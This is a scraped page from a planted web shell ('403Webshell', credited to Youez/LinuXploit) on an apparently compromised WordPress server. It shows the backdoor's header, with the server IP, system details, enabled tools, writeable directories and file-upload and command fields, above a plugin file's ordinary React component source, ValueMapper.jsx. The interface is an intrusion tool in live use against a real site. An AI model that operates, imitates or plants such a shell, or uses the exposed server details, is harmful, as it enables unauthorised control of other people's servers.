403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.216.194
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/testify/includes/fields/ValueMapper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/testify/includes/fields/ValueMapper/ValueMapper.jsx
/*! @license
See the license.txt file for licensing information for third-party code that may be used in this file.
Relative to files in the scripts/ directory, the license.txt file is located at ../license.txt.
This file (or the corresponding source JSX file) has been modified.
*/

// External Dependencies
import React, { Component } from 'react';
import get from 'lodash/get';

// Internal Dependencies
import './style.css';

class Testify_Carousel_Value_Mapper extends Component {

  static slug = 'testify_carousel_value_mapper';

  maybeUpdateValue() {
    let sourceField = get(this.props.fieldDefinition, 'sourceField', null);
    let valueMap = get(this.props.fieldDefinition, 'valueMap', null);

    if (sourceField !== null && valueMap !== null) {

      let sourceFieldValue = get(this.props.moduleSettings, sourceField, null);
      let value = sourceFieldValue === null ? '' : get(valueMap, sourceFieldValue, '');

      if (value !== this.props.value) {
        this.props._onChange(this.props.name, value);
      }

    }
  }

  shouldComponentUpdate() {
    return true;
  }

  componentDidMount() {
    this.maybeUpdateValue();
  }

  componentDidUpdate() {
    this.maybeUpdateValue();
  }

  render() {
    return '';
  }
}

export default Testify_Carousel_Value_Mapper;

Youez - 2016 - github.com/yon3zu
LinuXploit